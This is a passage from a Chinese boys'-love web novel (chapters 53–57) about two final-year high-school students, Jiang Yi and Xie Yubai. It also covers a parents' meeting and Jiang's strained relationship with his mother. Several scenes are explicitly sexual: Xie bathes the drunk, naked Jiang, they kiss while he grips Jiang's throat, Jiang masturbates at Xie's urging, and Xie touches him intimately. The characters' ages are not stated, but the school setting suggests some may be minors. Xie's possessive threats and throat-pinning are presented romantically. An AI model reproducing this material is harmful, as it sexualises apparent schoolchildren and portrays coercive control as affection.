江逸站了一会儿,没车,傅现催促:“快点上车,有磨蹭的时间,你已经到家了。” 江逸上了车,闭目养神,到了他家楼下,推开车门,傅现跟他下了车,“你自己能上去吗?”他凝神观察,江逸走直线都费劲。 “我没问题,拜拜,今天谢谢你了。改天请你吃饭。” 傅现鼻子哼了哼,“这句话你说几遍了,实施过一次没有?” “会实施的。” “行,你上楼吧。”傅现双手插兜,视线粘稠地看着他的背影,摇摇晃晃的。 忽然,他的视线对上了一个人影,傅现身形一僵。 谢逾白神情寡淡,站在树影下,阴沉沉的,不知道从什么时候开始一直在那里。 傅现脚步一抬要靠近江逸,被谢逾白的身影挡住了。 谢逾白的眼神冷冰冰的,“你回家去。” “你不会对他怎么样吧?”别人或许不了解,这么多年,傅现了解他,这人偏执到是个神经病,他记得上次ktv,江逸被他带走以后,脖颈上深浅不一的红痕。 谢逾白挑衅地看他,“我把他怎么样,跟你有什么关系?” 傅现蹙眉,“你别太过分。” “念在你对他不错,给你留点脸面,傅现,适可而止。”谢逾白黑沉的眼底薄薄的一层冷光。 傅现直视他,“什么适可而止?” “非要我戳穿你?你知道我们在谈恋爱,你在干什么?” 傅现轻蔑一笑,“我干什么了?我像你一样?控制他?” “你敢说对他没有非分之想?” 傅现朗声笑了几声,“谢逾白,你真有意思,你俩结婚了?合法了?你暗恋他两三年,别人不允许?你只许州官放火?” “再说,我做什么了?我表白了,还是追他了?我让他不自在了吗?我有超越朋友界限的举动?”傅现表情冷然,一句一句回,“没到最后,你怎么知道你是他的另一半?” 谢逾白眼皮淡淡抬起,眸子尽是冷意,“这些话,你敢让他知道?” “我为什么要让他知道?你暗恋那么久,什么也没说。”傅现无所谓地耸肩,“要么你亲口告诉他?” 谢逾白冷道,“你根本不值一提。”他微侧了下头,神情傲慢,“因为,他喜欢的人,是我。” 傅现哑然没接话,最烦谢逾白高傲的样子,又被他秀了一下。 谢逾白看见重心不稳的人走上了三楼,身体不正常的摇摆着。 他大步上楼,迅速追上江逸,揽住了摇摇欲坠的人。 江逸偏头见到他,混沌的脑子让他本能地躲开了些,舌头打结,“你、你怎么来了?” 谢逾白散淡地笑,眼神有寒气,“月黑风高,捉奸杀人。” 第54章 我不跟喝醉的人做 月色氤氲, 透着几分朦胧。 因为醉酒,江逸浅色的瞳孔眸光有些散,他定神看过去, 看清了谢逾白,脚步往后走了两步。 他旁边有一个空酒瓶子,他即将踩上去,谢逾白捞起他的胳膊,把他拽到另一侧。 谢逾白拧着他的手腕,“你到底喝了多少?” 江逸嘴角撇了下, “不能告诉你, 你会发火。” 谢逾白手掌捏住他两只手腕,跟牵狗的动作似的, 把人往回领。到了家门口, 江逸睁着水雾弥漫的眼瞳看着谢逾白。 “你开门。”谢逾白淡道。 江逸在身上左摸右摸, 哪里也没有, 神情呆滞,“我钥匙丢了。谢逾白怎么办?我回不去家了。”他说话的声音发黏, 撒娇似的。 谢逾白手指一挑, 从大衣里面的暗兜里面拿出一串钥匙。 “我钥匙被你捡到了?”江逸欣喜地去接, 谢逾白胳膊一抬,垂着眼看他,嘴角冷淡。 放学后,江逸逃似的离开学校,连钥匙也忘记拿走了。 谢逾白巴巴地大老远来送钥匙,结果,口口声声跟宋越有约的人,跟傅现混到一起去了, 还喝了这么多酒。 谢逾白冷着脸打开房门,把人拎到浴室,“你自己洗,还是我给你洗?” 江逸缓缓抬起睫毛,又缓缓落下,眼中含着几分妩媚:“你给我洗。” 谢逾白一时语塞:“……” 他转身去主卧,拿了换洗的衣服扔在江逸身上,语气有点冲:“自己洗。” 江逸拧开水龙头,啊了一声,水好凉。 谢逾白在门口问:“怎么了?” “水凉。”家里的热水器放出来前半分钟水冰凉。 “你等一会。”谢逾白有点不放心,翘着长腿,身体靠在墙上,一个玻璃门之外,听着里面的动静。 距离两人在一个房子里相处有一段时间了,最近他们刻意回避在密闭的空间相处,以免控制不住自己。 江逸洗着头,觉得今天的洗发水有点奇怪,他揉了好久不出泡沫,细滑的液体流进了他眼里,眼睛里蛰了一般灼痛,“啊!疼!” 他的手指仿佛失去控制一般,不受大脑使唤,越是用力揉搓眼睛,钻心的疼痛就愈发强烈。 谢逾白在门外按捺不住,拉开门。见江逸正蹲在地上,双手不住地揉着已然发红的眼睛,水流如注,不断冲刷着他的身体。 深栗色的头发湿漉漉地向后散开,如画般精致的五官,带着几分楚楚可怜,在水光的映衬下,透着别样的绚烂。 那一刻,谢逾白有种把人紧紧搂进怀里,一辈子呵护备至的冲动。 他大步上前,拿着毛巾,抬起江逸的下巴,湿润的睫毛颤抖,眼底发红,谢逾白有一刹那的慌神,随即用毛巾慢慢擦拭他的眼睛。把人带到水池旁,看到旁边未开封的矿泉水,用极小的水流,慢慢冲洗江逸被辣到的右眼。 江逸头发上满是黏黏的液体,谢逾白眼神扫了几眼,架子上的沐浴露没盖盖子,他用沐浴露洗头了? 谢逾白将人轻轻牵至淋浴喷头下方,竭力不去注意眼前白得晃眼的肌肤。 这一切实在太过醒目,根本难以忽视。他不禁深吸一口气,强压下心底的波澜,对江逸说:“你头往后仰。” 江逸神志有些迷糊,眼神朦胧迷离。他看向谢逾白,其中一只眼睛泛着红意,在水汽的笼罩下,更添几分楚楚之态 。 谢逾白的喉结不由自主地上下滑动,他抓握住江逸的头发,滑溜溜的。他稍稍用力,将江逸的头往后轻拽,另一只手拿着花洒,让水流顺着江逸的发丝滑落,沿着优美的脖颈而下,浸湿每一寸白皙的肌肤。 狭小逼仄的浴室空间里,两个身材高大的男生,一举一动间不可避免地产生肢体接触。谢逾白呼吸急促,额头上沁出细密的汗珠,一滴接着一滴,顺着脸颊滑落。 他从小到大很少有这么狼狈的时候。 江逸洗的时间有点久,水温凉了,谢逾白找到浴巾把人包住,洗完澡的人显得格外乖。 他开始给江逸刷牙,江逸顺从地张嘴,露出嫩红的软舌。他身上有酒味。谢逾白一向讨厌烟味和酒味,不知道为什么,江逸身上的味道,他不讨厌,甚至有些陶醉。 谢逾白不放过他口腔里的每一个角落,仔细清洗,最后让他漱口,没想到江逸漱口两次以后,不往外吐水了。 谢逾白掰开他的嘴,“水呢?” 江逸吐了下舌头,“喝了,渴了。” 谢逾白无语,从柜子上拿来矿泉水,“这有水。” “喂我。”江逸清澈的眼眸忽闪着。 谢逾白把瓶口对着他的唇沿,“喝。” 江逸不满地摇头,眼神飞快地看着谢逾白的嘴唇,手指点了下,“我要你像以前那样喂我。” 喂他喝药,在车上那次?谢逾白脸发烫,把矿泉水瓶放下,“你等着。”他弯腰从柜子里找到新的牙刷,开始刷牙,江逸身体软绵绵的,随时会倒下去似的。 谢逾白把人抱回床上,江逸眼波莹润,对他微微一笑,“我渴。” 谢逾白长长的眼睫垂着,忽然把他按在了床上,虎口卡住他的脖颈,脆弱的喉骨在掌心下面。 谢逾白仰头灌了几大口水,最后留了一口,贴住江逸柔软红嫩的嘴唇。 薄荷的,微软的,潮湿的嘴唇。 江逸配合地吮吸他嘴里的液体。软软的舌头如灵动的蝶,舔过谢逾白的上唇,舌面在他的唇上缓缓流连,似在贪恋片刻的温热。 谢逾白嘴里的水没了踪迹,江逸仿若尚未喝足,不知疲倦地吮吸着他的嘴唇。他将舌头探进谢逾白口中,寻觅着残留的水珠,在他的口腔里四处轻扫。 最终一无所获,江逸不禁从嗓子里哼了哼,软红的舌头才缓缓退了出去。 江逸的嘴唇被吻得红彤彤的,眼神带着醉意的迷蒙,隐隐透着渴求,“我还想喝水。” 谢逾白垂在身侧的手,掌心已握成了拳头,声音克制:“够了,江逸。” 江逸仿若没听见谢逾白的话,扇形的眼尾向上弯折,琥珀色的眸子流光溢彩,令人目眩神迷。他拿起水瓶,手不受控制地哆哆嗦嗦,朝着谢逾白递过去,试图喂他喝水。 瓶口不慎卡住了谢逾白的下唇,硌得他生疼,谢逾白拧了下眉梢,水流便顺着他的口鼻汹涌而下。水流不算小,眨眼间,他被灌了两三口水,衣襟也全湿了。 谢逾白的眼睛瞬似要喷出火来。向来冷静沉稳、深沉内敛的黑眸之中,满满充斥着疯狂之意。 他猛地夺过江逸手中的水瓶,狠狠灌了一大口,紧接着,如饿虎扑食一般,猛地压住江逸的双唇,一股脑地将水喂给他。 江逸猝不及防,被呛得连连咳嗽了几声,眼角泛起了红晕。他躺在那片幽蓝的床铺之上,身上不着一丝衣物,嘴唇嫣红,漂亮的眼瞳里饱含着浓浓的情意。 谢逾白压住他脆弱的脖子,浓重地吻他,手抚摸他的皮肤,瓷白的,温热的,脑神经开始兴奋,电流一波接着一波,浑身的血液快要沸腾了。 江逸跟他的情况差不多,扭动着修长白皙的身体,脸上流露出前所未有的媚态,醉酒的他,没有害羞,直勾勾地跟他对视,回应他粗暴的亲吻。两人的嘴唇紧密相贴,身体热情如火。 一吻结束,谢逾白忽然惊醒似的,忽然阻止了江逸手的动作,江逸满眼水雾地看着他,催促他,往他身上贴。 谢逾白倏然收回两只手,耳根热烫,用尽全身力气撇开视线,拉过旁边的被子,把人牢牢裹进去,绑成一个粽子。 江逸细细喘息着,红唇张开,眼神是被打断的不悦,“谢逾白,你怎么了,怎么不继续?” 谢逾白语气生硬,“我不跟喝醉的人做。” 江逸眼神瞬间黯淡,光芒破碎,“那你为什么要开始?” 他脑子虽说还昏昏沉沉的,身体的反应无比诚实,这种不上不下的感觉,简直要人命。 一只大手遮住他的眼睛,江逸被剥夺了视线,眼前一阵漆黑。头顶落下冷淡的声音,“你睡觉吧。” 江逸的眼睫毛颤了颤,“我这样,能睡着?” “我没按着你的手,你想要,自己来。” 这是什么级别的人渣说出来的话,要他在谢逾白面前,江逸牙齿咬得直响。 谢逾白的声音施施然,“你以前也看过我,不是吗?” 江逸回想,他好像真干过这种事,也许是酒精的作用,他的羞耻心变得淡泊,“你转过去,别看我。”他脸热到快沸腾了。 “嗯。” 江逸唇溢出淡淡的喘息,身体发软,视线被遮住,他直觉谢逾白在看他,他全身笼罩着热气,灼烧着他每一根神经。 刚才做到一半的欲念很快开始臣服,身体被谢逾白抚摸后很敏感,自然而然地抛到了云霄,眼前一片白光,眼睛闭合,嘴角流出一点水润的津液。 他身体苏爽着,唇齿被人堵住,江逸反抗着,“让我缓一缓,舒服一会儿,你别弄我。” 下巴被紧紧捏住,谢逾白强势地吻他,矫健的舌挤进他湿润的唇齿,他口腔里的温度偏高,情动时分泌了唾液,谢逾白一一掠夺。夺走他的湿润,夺走他的空气,让他喘息连连,头皮发麻。 江逸四肢酸软无力,眼睛被松开,眼神涣散,没有聚焦,被动地承受谢逾白的吻,被他粗暴的接吻方式激得全身颤抖。他从来不知道接吻能这么深入,这么出格。 他的喘息越来越重,脸因为缺氧而泛起不正常的红,谢逾白稍稍推开,命令他,“换气。” 谢逾白把他搂入怀里,紧紧按在颈窝,鼻息嗅他的气息,咬着他的耳骨,“以后你还骗我吗?” 江逸全身松软,被突袭咬了一口,脖颈往后缩,“你怎么又咬我?” 谢逾白毫不留情,又下了口。江逸左躲右躲,怎奈动作迟钝,又被咬到了一口。 “回答我,骗不骗我了?” “不骗了。” “真不骗了。” “再敢骗我,我就吃了你。”谢逾白卡住他的脖颈,指腹摩挲他软嫩的皮肤,眼神里的冰冷钉入江逸眼底。 第55章 “这样,你明白我的心意…… 江逸醒来, 喉咙干痒,昨晚太丢人了,他在谢逾白面前的形象毁于一旦, 一会儿喂水,一会在他面前那个,天啊,好难受。 房间里静悄悄的,江逸披了件上衣,四处看了看, 谢逾白这个狗逼, 竟然走了! 他居然扔下自己一个人走了?江逸越想越气,看见床头柜上, 昨晚的水瓶, 他生气地把水瓶扫到地上, 床铺上, 地板上,他的睡衣上沾上了水, 湿哒哒的。 江逸坐在床边, 心里气恼。忽然, 他听到钥匙孔转动的声音,吓了一跳,这个时间点,谁有他家钥匙? 江逸愣愣地看着门,暗红色的门拉开,谢逾白跟他对视了一瞬。他眼神定了一会儿,移开视线,“你别站门口, 你穿得少,会冷。” 他没走?江逸见他手里拎着大大小小的袋子,“你去哪了?” “去买早餐,你冰箱里没什么食材。”谢逾白看他一眼,“你也不喜欢我做的饭菜。” 江逸烦躁地揉了把脸,“那是喜欢不喜欢的问题吗?你做的饭谁能吃下去?” “你心情不好?”谢逾白眸子在他脸上巡视。 “你在别人家能不能有点觉悟?为什么不老实待着,到处跑什么?”江逸音量不小。 谢逾白脱下冰冷的外套,拿起沙发上的毯子,走到江逸面前,用毯子把他包住,随后虚虚抱住他,没敢抱实,“我身上凉,你怎么了?不开心?” 江逸别扭地拧着脖子,“你昨晚那么作弄我,我能开心?”哪有人做一半给人家停下的? 谢逾白眼神错愕,下颚线绷紧,“昨晚那件事,是我不好。” 江逸推他一把,“那么嫌弃我,不想碰我,你来我家干什么?”真特么闹心,这么久以来压抑的情绪让他胸口发闷,谢逾白整天在他面前晃,不能亲,不能抱,真要命。 谢逾白见他气得眼尾通红,有些心急,过来拉他的手,被甩开,认识这么久以来,江逸发火的次数寥寥无几,“江逸,我没有嫌弃你。” “那你昨晚什么意思?做了一半停下了?” 谢逾白脸上的神情不断变化,最后呼出一口气,按住他的腰,直接把人压倒在沙发上,“接下来我要做的事,不太好。” 江逸的睡衣衣襟没扣,他的手指揉捏,江逸下半身只穿了黑色内裤,轻而易举被擒住。 谢逾白嗓音沙哑,“我只要这样,你就软了,动不了,是不是?” 江逸的面庞通红似火,热意灼烧得发烫,指尖发麻,“你怎么这么缺德……”他的话还没说完,身上隐秘的部位,有什么东西在往里面戳。 我日,是谢逾白的手指,不知道什么时候挪到了那里。江逸浑身的肌肉绷紧,心慌意乱,“你干什么?给老子拿开。” 谢逾白幽深的眼眸胶着他的脸,冰雪般高洁的容颜,好像他手里的动作跟他无关似的。他喉结微动,“昨晚我做这个动作了,……所以,我停下了。” 他坐起身,手臂自然下垂,头微微低下,“昨晚给你的感觉不好,我很抱歉,但是我是人,我怕自己再继续下去,控制不住,会做出伤害你的事。” 江逸屈指放在唇边,偶尔用牙齿啃一下,两只腿挪到沙发上,静静消化谢逾白的话,“既然你想做,为什么不继续?昨晚那种状态,我反抗不了什么。” 谢逾白眼眸满含深意,目不转睛地看着他,“我知道你没准备好。” 江逸眸子偏了下,不与他对视,“你不是嫌弃我?” 谢逾白苦笑,起身半跪在他面前,膝盖卡在沙发边沿,抬手将他的睡衣扣子一颗一颗系回去,动作温柔,“我想对你做的那些事,根本不敢让你知道。你这么问,傻不傻?” 江逸的脸泛起红潮,温度节节攀升,“你想对我做什么?” 谢逾白盯着他如霞的脸,澄净的眼眸波光荡漾,嗓子被卡住了。 “你说,我想听。”江逸跨坐在他腿上,双手揪住他的耳朵。 谢逾白声音低低的,“想把你弄哭,然后舔掉你的眼泪。” 江逸眼睛快速眨了几下,指腹捏他的耳朵,谢逾白的耳朵很敏感,捏了两下就红了,他的身体也有了反应,江逸轻咳几声,“你硌到我了。” “这样,你明白我的心意了?”谢逾白眼里的情愫如暗流涌动。 跟他对视一眼,细小的电流直击江逸的心脏,“哦,知道了。” 谢逾白喉结动了下,挪动身体,“这样好些了吗?” 江逸在他腿上坐,怎么移动,也避免不了接触,“没关系,硌着吧。” 他紧紧环过谢逾白的脖子,看着他乌黑的眼珠儿,跟水洗过一般,江逸从来没看过这么漂亮的眼睛,一眼望进去就被吸进去,仅仅对视,就能让他体内涌起热潮,“我能不能亲一亲你的眼珠儿?啊,我不是要亲上眼珠,眼睛,眼皮……” 他到底在说什么鬼话? 谢逾白在他絮絮叨叨的解释中阖上了眼睛,眼睫漆黑,直挺挺的没什么弧度。 他的眼睑皮肤很薄,能看清淡淡的血管纹路,江逸的唇贴上去,眼睫在他的唇下颤抖,柔软的唇亲了又亲,亲了眼睑,亲了眼尾,又亲了鼻尖上的美人痣。 江逸声音清润,“谢逾白,我怎么这么喜欢亲你?早知道亲你让我这么开心,你是小哑巴的时候,我就应该亲亲你。” 谢逾白神情诧异,缓缓把视线转过来,嗓音喑涩,“你认真的?” 见他这个模样,江逸搂住他的脖子,胡乱在他颈侧啄吻,“我当时如果亲你了,你会杀了我吗?” 谢逾白喉咙发出笑声,“有可能。” 他拉起谢逾白的手放在胸口,“你感受到了吗?我的心跳得很快,是因为喜欢你。” 谢逾白颤动着长长的眼睫,徐徐睁开眼眸,眼睛自然而然地向下低垂,嗓子像是蒙了一层沙,“既然你喜欢我,为什么骗我?” 回想江逸当时说跟宋越见面的神情,撒谎挺明显的。这个认知像一根刺,从昨晚扎他到现在。 江逸把自己闷在他的颈窝,“我骗你,才说明喜欢你。你想不明白?” “不明白。” “谁会去骗不相干,不在乎的人,我说假话是担心你在意这件事,会生气,会心情不好。” 江逸鼻尖在他身上蹭了蹭,“我昨晚过得提心吊胆,心不在焉,囧死了。” 谢逾白语气严肃,“你撒谎还有理了?” “那你想怎么样?我做已经做了。” 谢逾白把人从肩膀上捞起来,盯着他的眼睛,“我要你答应我,以后不许骗我,要对我坦诚。” 江逸看着他无比认真的神情,心脏忽悠似的乱颤,“你的要求有点高,人怎么可能只说真话,善意的谎言也不行?” 谢逾白抿紧唇,“只要是谎言,没有善意与不善意,我希望彼此坦诚。” 他的眼神目不转睛,透着一股执拗,江逸被他盯得心里发毛,只能答应,“我尽量。” “那个……”江逸眼睛滴溜溜地看他,“你要不要我帮你舒缓?” 谢逾白耳根发热,“不用,我去冲个澡,然后一起吃饭。” 江逸一把抱住他,冲他眨眼,“为什么不用我,我很好用的。” 谢逾白表情纹丝不动,“昨晚我亲眼见的,你的技术一言难尽,把自己都搓红了。”他把人抱近了一些,“等我。” 江逸脸埋进沙发抱枕,锤了两下,该死的谢逾白,竟然瞧不上他的技术!他不就是急躁一些,缺乏耐心一点。 * 期末考试结束后的家长会如约而至。江逸倚在走廊的栏杆上往下看,他昨天跟二姨打过招呼,应该会来的。 他目光在人群中穿梭。林飞羽贱兮兮地笑,“逸哥,你这次是我班进步最大的人,特骄傲吧?” “傲你个头。” “也对,从班级48名一下干到31名,这不是一般人可以办到的,起点低提升就是快。” “林飞羽你找打,是不是?” “哎我天,我第一次看到谢逾白的家长,他爸好气派,看上去就是精英。” 江逸看过去,谢承竟然来了,谢逾白跟他隔了一段距离,侧脸冷漠,看上去不太高兴的样子。 很快,他看到了一个人影,不高兴的人多了他一个,江逸嘴角下压,神情压抑。 林飞羽察觉到了他的情绪,忐忑地问,“刚刚进入我班的那人,是阿姨吗?”他跟江逸初中就是同学,江逸家里的情况他知道一些。 他的母亲改嫁过两次,最离谱的是第二次改嫁前,留下一个不到三岁的小女孩没人管,那时候江逸还是个初中生,带了知知整整一年,后来,她妈妈的情况好一点,才雇了知知的二姨帮忙全职照看。 天知道江逸那时候怎么熬过来的,白天把二十几个月的知知送到私立幼儿园,早早地请假回家看顾孩子。 那时候,他整个人萎靡不堪,流感季节,有时候要请假一周照顾妹妹。 他们从教室的玻璃往里面看,江逸的位置坐着一个风姿绰约的女人,她眉眼温柔,皮肤很白,一双琥珀色的大眼睛,一眼就能看出,江逸的美貌遗传自妈妈。 杨娴翻动江逸的卷子,语文89,数学86,英语98……这成绩比以前好了很多,江逸上了高中以后,她自顾不暇,对孩子有太多亏欠,跟他的班主任老师通过几次电话,最近成绩进步很大。 她手指按着卷子前后左右看了看,左边的是林飞羽的妈妈,两人旧相识,两个孩子成绩差不多。 斜前方的男人精英派十足,戴的表比一套房子还贵,冷淡的表情好几次看过来。 他高冷的眼神扫了几眼江逸的卷子,明显带着探究地打量她。 杨娴笑笑说,“我儿子起点低,老师刚说他是这次考试进步最大的,您孩子怎么样?” 谢承冷淡吐出几个字,“全校第一。” 杨娴:“……”她多余问,这话搭得不划算。 第56章 如果你愿意,可以对我发…… 任老师刚告诉她, 家长会结束等一会儿,有话跟她说。杨娴来到办公室门口等着。 刚坐在她斜前方的冷漠男人正在跟班主任交谈。任老师音量不小,杨娴可以听见。 任老师声音急切, “我说,这位家长,你家谢逾白是百年一遇的好苗子,在学校的成绩一骑绝尘,你看见没有,除了语文, 各科趋近于满分, 语文也130多,妥妥的清北苗子, 物理竞赛全国金奖。你们做家长的不能给力一些, 好好劝一劝, 快点提交保送材料。” 副校长催了好几次了, 学校对谢逾白也是寄予厚望的。 谢承面无起伏,“他不想保送, 我刚问了。” 刚问?任老师快气吐血了, 他给谢承打了好几次电话, 强调保送的事,结果刚问,你们父子平时不熟吗?任老师火气上来了,“您工作忙,我知道,但是,孩子是最后半年了,再忙也要抽时间跟他沟通。” 谢承看了下表, “您还有别的事吗?” “怎么没有?谢逾白到底要报什么学校?他是不是想跟早恋对象一起去个很差的城市?” 谢承一脸淡然:“您知道?” 任老师简直忍无可忍,“哪有你这样的家长,这种事不能拦一拦?他们这么大的孩子懂什么,家长不好好引导,想要恋爱,在一起不差这半年,去了大学随便搞。作为班主任老师,我强烈要求你,干涉一下。” “我试试吧。”谢承声音无奈。 “真的?虽然让你干涉,考虑到谢逾白的性格和他之前的病,我希望家长能注意方式方法……” “任老师,我还有47分钟需要赶到法庭,您看……” 任老师急忙说,“您去吧,找时间再聊。” 谢承大步走到门口,看到杨娴,眼神高傲,微点了下下颚,“您好。” 杨娴抿唇笑了,“大榜第一早恋了?哎呀,别耽误学习,回家跟孩子好好沟通。” 她脸上明显的笑意。谢承眼神一暗,从怀里掏出一个名片,递过去,“三个小时以后,门口的咖啡厅,有时间聊一聊吗?” 杨娴没动手接名片,“为、为什么?”跟她有什么聊的。 谢承语气平淡无奇,“因为,我儿子的恋爱对象,是你儿子。” 杨娴手里的手机啪嗒摔在地上,手机壳被摔了出来,“喂,你说什么鬼话?”她手指颤抖地捡起手机,他神经病吗? 她儿子那么乖,肯定喜欢女孩子,这大榜第一的家长肯定有毛病。她把手里的名片拧了几下,撕碎了扔进垃圾桶里。 跟任老师谈话期间,她多次走神,全怪那个阴阳怪气的精神病,杨娴回到班级,走廊和教学楼外一个人也没有,江逸没等她。 她打开江逸家里的门,进门,屋里不算杂乱,冰箱里杂乱地堆放着菜,她系上围裙开始做饭,今天家长会以后,学生们放假了,江逸怎么还没回来? 拨他电话,江逸没接,自从她第二次改嫁以后,江逸经常不接她电话,以往,她以为孩子在学校接电话不方便,现在看来,江逸心中的怨气不小。 晚上七点,门口传来动静,门打开,杨娴走到门口,看到江逸不是一个人回来的,身后跟了一个高瘦的男孩子,长相冷峻出挑,两人肩膀挨着肩膀,看起来关系很好。 江逸看到杨娴,明显一惊,蹙眉道,“你怎么来了?” “家长会以后你怎么不等妈妈?”杨娴眼神看向高瘦男生。 谢逾白听到妈妈两个字,脖颈僵硬,感到对方正在打量自己。江逸机械地转身,对他轻声说,“我们明天再讲题吧,你先回去。” 杨娴忽然开口问:“这位同学,你期末考试,考第几?” 谢逾白看了看江逸,木然回答,“第一。” 杨娴声音发颤,“全校名次呢?” “第一。” 杨娴嘴巴张了张,无言以对,表情好像被雷劈了,她坐在餐桌上,眼神虚无。 江逸回到房间,关上门,拒绝跟她交谈。 “阿逸,妈妈做了你爱吃的糖醋排骨。你出来吃点好不好?” 江逸不理。 “我今天跟任老师聊了下,你最近进步很大,我很开心,临近高考了,以前是妈妈对不起你,我离婚了,对方婚内出轨,我分到了一些财产。所以,你不用担心钱的问题,即使是三本,妈妈也有能力供你。这几年让你受委屈了。” 江逸懒得听,恨不得能堵上耳朵。 “我不打算再结婚了,妈妈身体不好,剩下的日子想陪在你跟知知身边,我在附近租了一个房子,偶尔会接知知过去,你也来好不好?你不来也行,我常常来看你。” 江逸房间的门沉默得像石头。 外面的动静渐渐没了,江逸听到门关上的声音,他打开门,看到桌子上的四菜一汤,拿过来垃圾桶,全部倒进去,电饭煲里的饭也倒进去。 他把白色的盘子扔进水池,两个盘子撞击到一起,摔得细碎。他整理盘子到垃圾桶,尖锐的棱角扎上了他的手指,鲜血一下子涌了出来。 兜里的手机不停震动,江逸打开手机,谢逾白的视频邀请。 江逸眼神凌乱,看着邀请一直震动,好久才停下。 他的手指不停流血,懒得理会。 手机跳出来一条消息,谢逾白:【开门】 江逸呼吸一紧,难以置信地走到门口,旧房子没有猫眼,他拉开门,谢逾白背着书包,站在门口,“你妈妈走了吧?会回来吗?” 江逸木讷地摇头。 谢逾白视线落在他的手指上,眉峰蹙起,想拉起他的手,“你怎么弄的?” 江逸把手背过去,脸上冷然,“没什么,你不用管。” 门被大力关上,谢逾白把书包挂在餐椅上,来抓他的手。 江逸挣脱,眉宇间充斥着不耐,“你烦不烦,我说了没事,你不用管。”他的手不小心打到了谢逾白的手背,发出清脆的一声,谢逾白手背立刻红了。 江逸眼神动容,扭动脖子,“你先回去,有什么事我们明天再说。” 谢逾白完全没在意手背的疼痛,再次执起他的手,把人拉着坐在餐桌上,熟练地找到药箱,看着他食指上鲜血淋漓的伤口,暗红色,还在往外涌着血。 他心疼地看着江逸发红的眼睛,谢逾白垂着头处理他的伤口,先用碘伏消毒,上了药,用白色纱布包上,血总算止住了。 他什么也没问,安静地陪他坐着。 江逸回到房间,躺在床上,用被子蒙着头,一句话也不想说,他有点想哭,可惜一滴眼泪也没有。他的眼泪在小学的时候已经流干了。他能听见谢逾白的脚步很轻,在外面时不时地走动着。 比起万籁俱寂的空荡荡,这点脚步声,让他的心情变得没那么郁闷沉重。 过一会儿,谢逾白开门进来,在他书桌上放了一杯奶茶。 江逸看他,“哪来的?” “我做的。” “你又给我做什么奇奇怪怪的东西?” “外面的奶茶高糖,添加剂多,我做的健康一些。” 江逸看了一眼透明玻璃杯里面大小不均匀的褐色珍珠,“珍珠也是你做的?” “嗯,刚搓的。”谢逾白淡声说,“有点烫,你晚点喝,你晚上要不要吃点什么?”他看到了垃圾桶里的饭菜。 “手擀面。” “行。” 江逸补了一句,“荷包蛋用水煮,不要用油煎。” “知道了。”谢逾白唇角上扬,想起上次油煎荷包蛋的惨烈。 “对不起,谢逾白。”江逸看着窗外,脸部轮廓模糊,“刚刚我不该对你发脾气。” 谢逾白走过来,揉了揉他的头发,手指穿过他的发丝,不算亲昵的举动,让江逸心间有了些暖意。 “如果你愿意,可以对我发脾气。比起你生闷气,我宁愿你对我发火。” 江逸垂着睫毛,脸上神情淡淡的,平时他总是懒散的,比较爱笑,少有的情绪紧绷,“谢逾白,我跟你说了心情不好,你为什么还要凑过来?你为什么没走?” 谢逾白脚步停在他身旁,看着他微蹙起的眉,想伸手帮他把褶皱揉开。 他更喜欢看江逸笑,他的笑容明媚灿烂,“我察觉到你心情不好,在楼下等,想着或许你有什么需要,我可以帮你。我亲眼见到她离开了,才上楼。” 本来他没打算上楼,安静地等在楼下,可是,江逸拒绝了视频邀请,说明他的心情很不好。 江逸目光探究地看着谢逾白,怎么能有人对他的感情如此纯粹?为了一个他可能的需求,等了两三个小时。 江逸眼眶发酸,却哭不出来,“谢逾白,你说我的眼泪是不是流尽了,为什么难受也哭不出来。” 谢逾白看着他发红的眼眶,大手抚摸他的眼睛,他不想看,看了心脏不舒服,酸胀的,涩涩的感觉实在难受,“你哭得出来,放心,昨晚我见到了。” 江逸沉闷的情绪消散了一大半,“谢同学,你在跟我开黄腔吗?” 谢逾白掌心在他眼眶处捂紧,“你觉得是,就是吧。” 第57章 再唱一次给我听。 谢逾白做好了手擀面, 端了进来,江逸看到微焦的煎鸡蛋,抓起他的手查看。 他手背上果然有两个圆的红印子, 江逸很不可理解,“我跟你说过了我要水煮的荷包蛋。” “可是,你喜欢的是油煎的。” “你的手又受伤了。”江逸看着他的手背出神,之前还被他不小心打到了。 谢逾白语气毫不在意,“我只是不熟练,多练习会好, 上次三个油点子蹦到我, 这次只有两个。” 江逸被他的话逗笑,“你觉得自己很有幽默感吗?手有没有用凉水冲?” 谢逾白点点头。 江逸握着他手的边缘, 谢逾白长了一双好看的手, 指骨瘦长, 像竹节。 接过他手里的筷子, 江逸低头开始吃面,面条的味道有点清淡, 面条的软硬适中, 江逸莞尔一笑, “你有进步,面条做得好吃。” 谢逾白语气平淡:“哪里不好吃,你可以告诉我,我下次改进。” “这样就很好,好吃的。”江逸吮着热乎乎的面条,吃了半碗他吃不下了,“抱歉,我吃不完。” “没关系。我可以把它吃完。”谢逾白拿起他的筷子, 下一步就要挑起面条。 江逸嗖的一下抢走筷子,“你干嘛用我的?不卫生,去重新拿筷子。这碗面我吃过了,你最好别吃。” 谢逾白眼眸半眯,目光中透着难以言说的意味,“我不介意,你紧张什么?” 江逸也说不清楚自己怎么回事,“总之,你不要这样。” 谢逾白拉起他的手,捏着他的手指,“昨晚,你喝了那么多我嘴里的水。我为什么不能吃你吃过的面?” 他说这话的时候面不改色,江逸脸颊染上绯色,烫意悄然蔓延。 手机不断振动,群消息冒了出来。林飞羽在群里喊:【下午一点KTV不见不散,假前最后一面,谁不来谁孙子。】 谢逾白的手指捏住他的下巴,拇指摩擦嫩滑的皮肤,“想去?” 江逸抬起雾蒙蒙的眼眸看他,“嗯。” “我陪你去。上次,你在KTV给傅现唱了什么歌听,再唱一次给我听。” 什么东西?江逸有点懵,“我昨晚只是跟他一起,跟两位大学学长吃个饭,除了讲题,我没跟他单独出去过。” 谢逾白眼尾撇他,“我没说这次,你不打自招做什么。” 江逸脑筋飞快运转,“你说哪次?” “你有几次?” 江逸抓了抓头发,“只有一次,元旦出游那次,很多人一起去的。” 谢逾白挑起一边眉梢,“就是那次,听说是粤语歌?你还会粤语?” “为了唱歌耍帅,学了点。” 谢逾白阴阳怪气地:“是帅,迷倒不少人。” 江逸:“……” 两人下楼,楼下停着一台奔驰大G,谢逾白拉开副驾驶车门,示意江逸上车。 江逸问:“你的车?” “嗯。” “你能开?有驾照了?” “考完了。” “什么时候考的?” “你鄙视我没有驾照以后。” 江逸观察这辆车很新,“你新买的?” 毕竟还是学生,江逸不太喜欢高调。 谢逾白:“想选个便宜点,不显眼的车,平时我们开方便点。” 江逸:“……”他要怎么给谢逾白解释,学生开大G不算低调。 